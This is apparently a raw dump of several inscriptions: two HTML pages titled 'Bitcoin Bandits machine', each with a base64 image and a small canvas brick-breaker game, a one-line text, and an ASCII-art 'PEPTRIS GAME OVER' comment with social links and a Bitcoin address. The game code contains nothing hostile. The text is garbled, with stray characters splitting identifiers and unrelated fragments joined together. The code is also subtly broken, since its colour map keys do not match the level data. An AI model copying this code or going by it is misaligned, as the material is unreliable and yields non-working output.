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
0UEDBKVAAwQl4hiRl93BboVZ+tg/S79rE49/9elxLyGllNKpZ7877iXU0kEDBKVAAwQl4mhJEVvkN+Oveny14nsN911dfaP/aefj/2wZxWXcbYiyTh00QFAKNEBQIo4BFPFESp3vJ+xlh0bV6wBW00EDBKVAAwQl4hhAHk8UsUUvkUXV62Z1FwdQTwcNEJQOegDdTvYV3/S9nqJzvvL2zl2+0uNPDb44YOLpoAGCUqABghJxNJRHEfseWv+5t23aWI6ffP/xcnzzg7euOX7zg92fC8wWHTRAUAo0QFAijh6sjByy4799Ojt+65rnpiy2qIsqqo6LNYCUdNAAYSnQAEGJOHogngDGQQcNEJQCDRCUAg0QlAINEJSThMBQHTp0qPL49t17RryS9UVcpw4aICgFGiComYo48o8qjx15uPPA0tIYVjMeB544vubY4uLiGFZClfzvIloEwOjpoAGCUqABgrps++49r4x7EQCspYMGCEqBBghKgQYISoEGCEqBBghKgQYIM
SoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYI6v8BwuonQTaSq5YAAAAASUVORK5CYII=" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"]M
,["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.M
length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop)M
;context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,padM
dle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(M
function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","GM
","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*aM
,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSizeM
){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-bM
all.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddMW
le.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/plain;charset=utf-8
long live the kingh!
text/html;charset=utf-8
    <!--- TEWZ1.ETH   https://www.www.tewz1.com      https://opensea.io/tewz    DUST 1AHV2TSdVsydxx2eSMyxKg6HfAgXAKNafW
				      https://www.twitter.com/tewz1  https://tewz.cent.co/           TEWZ1.ETH      <pre>
...',,,,,'..
.';:ccllloolollcc;,,..          .',;,;;;;;;,''..
.';cllllllllllllllllloolc:,.   .';;cloollllllllllcc;.
.,colllllllllllllllllllllllllc;.'collllllllllllllllllll,.M
.;llllllllllllllcccc:::::cclollloc,:llllllllllllllllllllll,
'collllllllcc:;:c:;:;;;,''''''',;co:,colllllllllolooooloooo:.
.,llllllll:::::cccllloollllllllc;,,,;;',:;;;;;;;;:;;;;::;;;;;,.
.;llllllllc:cclllllllllllllllllllllooc;..,::::::ccccccccccc:::::;,''.
.;olllllllllollllllllllllollcccccc::::;:;,.,cllllllllloolllllllllloool:'.
.;lllllllllllllllllllllc:;:c:;,;;;;;,,,,,;:;,;;;cllc:;,,,;:::::;:::::::;;,.
.,lllllllllllllllllolM
c;;;;,',;:;;;;;:;;;;;:ccc:;,',;;'....',,;::::;,;;,',,''''.
.',,:llllllllllllllc;,,,;;,;;;::clloooloooloolllllc;'',,;;::ccccclolllllcccc::;::'.
.;cl:;clllllllllloolc;''',;;;clllllllllllolllllc:lllclc..coollc::;,;;,''''',ldddol:,'.
.;lllc;:lllllllllll;;:::;;;cloolllcccccll:,,''',;lxKNNNNN0c,:clcllloxd,       .;xNWNKkd;.
.clllo:':ollllllllol;,,'',;:c:;:clodxkOd,..        .:OWMMMXod0XNWMMMWk.           cXMMMM0;
'clllllc:clllllllllllllc:;;,',oO0XNWMMWk.   GAME      .xWMWdlXMMMMMMMO.  PEPTRIS    dMMNOc.
llllllllllllllllllllllllc;:oxOKWMMO.     OVER      .oxl,;dkO0XWMMd              ;ddc.
'cllllllllllllllllllllllllllll:;;,,,:lodc.            ..',;;;,',,,,:lddc......''''',,,;''..
.clllllllllllllllllllllllllllllllc:;,;;;;;,,,,,,,,',;;;:::;;;;cc;;;;,,,',::;;;;:c::;;,.
.:llllllllllllllllllllllllllllllllllllccc::;::;:;;:;;;:;;:cccllllooolcc::::::cccclllc:'.
.,llllllllllllllllllllllllllllllllllllllllllloolloolc:;;::clllllllc::clolllllllcc:;;'.
'collllllllllllllllllllllllllllllllllllllllllM
lcc:;;;;;ccllllllllllc:;;,..,;::::;;;,'.
.:ollllllllllllllllllllllllllllllllllllllllll:;::;;clolllllllllllllllllc;,,:lllllllol;.
'collllllllllllllllllllllllllllllllllllllllllcclollllllllllllllllllllllllllllllllllllll,.
.;lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll;.
.colllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll;.
..:ollllllllllllllllllllllllllllllcccccccclloolllllllllllllllllllllllM
llllllllllllllllllllllc,.
.,clllllllllllllllllllllllllllc;,;,,,,,,,,;;;;;:::cccclllllollllllllllllllllllllllllllllolc;'..
.;cllllllllllllllllllllllllll;'';:cccccccccc:;;;,,,,,,;,,,;;::::ccllllollollololllc::;;;;,;;;;'.
.':lllllllllllllllllllllllll,':ccc;',;,'''',;;;;::ccccc:;;;;;,'',,,;;,,,;,;;;,;;;,,,;;;:ccc:,..
.:ollllllllllllllllllllllo:.,cccc:;:c:;;;;;;,'',,;;,'',;;;;;::ccccc:;;;;;;;;;:ccccccc:;;,'.
':olllllllllllllllllllccll;',;:c:;;;;;:ccccccccccc:;;;;;,,,,,;;;,,'''',,,,,,,,,'',,;,M
